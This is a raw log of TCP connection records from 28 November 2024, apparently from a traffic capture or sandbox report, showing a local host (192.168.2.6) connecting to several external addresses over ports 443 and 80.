Nov 28, 2024 17:24:26.741245985 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.741251945 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.741328001 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.744049072 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.744132996 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.744138956 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.744184971 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.746695042 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.746758938 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.746766090 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.746836901 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.748246908 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.748322964 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.748325109 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.748374939 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.748382092 CET	443	49752	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.748406887 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.748447895 CET	49752	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.777429104 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.777451992 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.777544022 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.777560949 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.777677059 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.778052092 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.778099060 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.778105021 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.778129101 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.778146982 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.778223991 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.781080008 CET	49753	443	192.168.2.6	150.171.28.10
Nov 28, 2024 17:24:26.781095982 CET	443	49753	150.171.28.10	192.168.2.6
Nov 28, 2024 17:24:26.886466026 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.886534929 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.886647940 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.887008905 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.887025118 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.887043953 CET	49756	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.887049913 CET	443	49756	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.889898062 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.889971018 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.890578032 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.890796900 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:26.890846014 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:26.924952030 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:26.925041914 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:26.930268049 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:26.930280924 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:26.930553913 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:26.932039022 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:26.932308912 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:26.932315111 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:26.932512999 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:26.979324102 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:27.045819998 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.045871019 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.045891047 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.045957088 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.057682991 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.057713032 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.058259010 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.058279991 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.058605909 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.058612108 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.059958935 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.059978008 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.122059107 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.122124910 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.122205019 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.126085043 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.126101017 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.126127005 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.126132965 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.131998062 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.132096052 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.132173061 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.140285969 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.140331984 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.141927958 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:27.141958952 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:27.142030001 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:27.143565893 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:27.143575907 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:27.329705954 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.330666065 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.330686092 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.332123041 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.332128048 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.397316933 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:27.397603035 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:27.468887091 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.468910933 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.468940020 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.468967915 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.468978882 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.469006062 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.469377995 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.469420910 CET	443	49762	20.223.35.26	192.168.2.6
Nov 28, 2024 17:24:27.469470024 CET	49762	443	192.168.2.6	20.223.35.26
Nov 28, 2024 17:24:27.507859945 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:27.507965088 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:27.508021116 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:27.508301020 CET	49758	443	192.168.2.6	20.198.119.84
Nov 28, 2024 17:24:27.508322001 CET	443	49758	20.198.119.84	192.168.2.6
Nov 28, 2024 17:24:27.513190031 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.514601946 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.514616966 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.515559912 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.515568018 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.517808914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:27.517909050 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:27.517995119 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:27.518383980 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:27.538155079 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:27.538254023 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:27.541599035 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:27.541608095 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:27.541881084 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:27.638556004 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:27.655383110 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.655447006 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.655473948 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.655491114 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.655524015 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.655538082 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.659145117 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:27.662615061 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.662636042 CET	443	49761	20.234.120.54	192.168.2.6
Nov 28, 2024 17:24:27.662642956 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.662683964 CET	49761	443	192.168.2.6	20.234.120.54
Nov 28, 2024 17:24:27.674280882 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:27.719325066 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:27.782903910 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.782977104 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.783049107 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.786143064 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.786159039 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.786184072 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.786190033 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.790698051 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.790716887 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.790787935 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.791193008 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.791209936 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.967268944 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.967334032 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.967389107 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.967601061 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.967601061 CET	49766	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.967617989 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.967631102 CET	443	49766	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.971208096 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.971246958 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:27.971308947 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.971539021 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:27.971559048 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.028781891 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.028847933 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.029591084 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.029647112 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.079654932 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.079667091 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.079997063 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.080058098 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.081314087 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.127324104 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.295768976 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295797110 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295804977 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295820951 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295830011 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295839071 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295861959 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.295882940 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.295907974 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.295933008 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.320065022 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.320075035 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.320132017 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.320158958 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.320187092 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.320210934 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.322824955 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.322839022 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.322869062 CET	49765	443	192.168.2.6	52.149.20.212
Nov 28, 2024 17:24:28.322875023 CET	443	49765	52.149.20.212	192.168.2.6
Nov 28, 2024 17:24:28.481190920 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.481791973 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.481807947 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.482309103 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.482317924 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.482781887 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.482837915 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.482841015 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.482883930 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.482986927 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.483000994 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 17:24:28.483022928 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.483042002 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 17:24:28.542753935 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:28.542836905 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:28.545499086 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:28.545512915 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:28.545819998 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:28.585437059 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:28.600929976 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:28.647329092 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:28.746557951 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.747384071 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.747454882 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.748131037 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.748146057 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.862243891 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.875602007 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.875659943 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.876210928 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:28.876225948 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.925699949 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.925762892 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:28.925837040 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.017242908 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.017261982 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.017287016 CET	49772	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.017293930 CET	443	49772	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.049120903 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.049187899 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.052508116 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:29.052536964 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.052550077 CET	49776	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:29.052556038 CET	443	49776	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.199786901 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.199840069 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.199896097 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.236335993 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.236336946 CET	49773	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.236409903 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.236464024 CET	443	49773	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.267673016 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.267710924 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.267873049 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.297171116 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.297210932 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.297267914 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.297764063 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.297782898 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.298345089 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.298362970 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.301695108 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.301748991 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.301819086 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.302073002 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.302073956 CET	49775	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.302098989 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.302136898 CET	443	49775	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.305905104 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.305922031 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.305974007 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.306080103 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.306094885 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.319713116 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:29.319760084 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.319834948 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:29.320166111 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:29.320199013 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:29.412755966 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:29.412813902 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:29.581127882 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:29.638623953 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.639542103 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.639553070 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.640258074 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.640264034 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.701570988 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:29.757144928 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.757838011 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.757869005 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:29.758510113 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:29.758522987 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.095134974 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.095197916 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.095293045 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.095535994 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.095551968 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.095568895 CET	49781	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.095576048 CET	443	49781	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.099229097 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.099252939 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.099462032 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.099663973 CET	49788	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.099677086 CET	443	49788	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.290060043 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.290122986 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.290246964 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.290436983 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.290487051 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.290517092 CET	49782	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.290534019 CET	443	49782	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.293445110 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.293481112 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.293693066 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.293910027 CET	49789	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:30.293922901 CET	443	49789	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:30.539902925 CET	80	49780	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:30.539980888 CET	49780	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:30.717185020 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:30.717274904 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:30.755867958 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:30.755908966 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:30.756179094 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:30.757246017 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:30.803334951 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:31.101674080 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.101980925 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.103250027 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.103281975 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.103951931 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.103957891 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.105710983 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.105727911 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.106347084 CET	49784	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.106353045 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.167256117 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.171015024 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.171036005 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.171586037 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.171591997 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.241072893 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:31.241153002 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:31.241278887 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:31.242508888 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:31.242559910 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:31.242590904 CET	49787	443	192.168.2.6	2.18.82.9
Nov 28, 2024 17:24:31.242608070 CET	443	49787	2.18.82.9	192.168.2.6
Nov 28, 2024 17:24:31.722393036 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.722461939 CET	443	49786	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.722510099 CET	49786	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.732049942 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.732116938 CET	443	49785	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.732225895 CET	49785	443	192.168.2.6	13.107.246.63
Nov 28, 2024 17:24:31.746465921 CET	443	49784	13.107.246.63	192.168.2.6
Nov 28, 2024 17:24:31.746539116 CET	443	49784	13.107.246.63	192.168.2.6
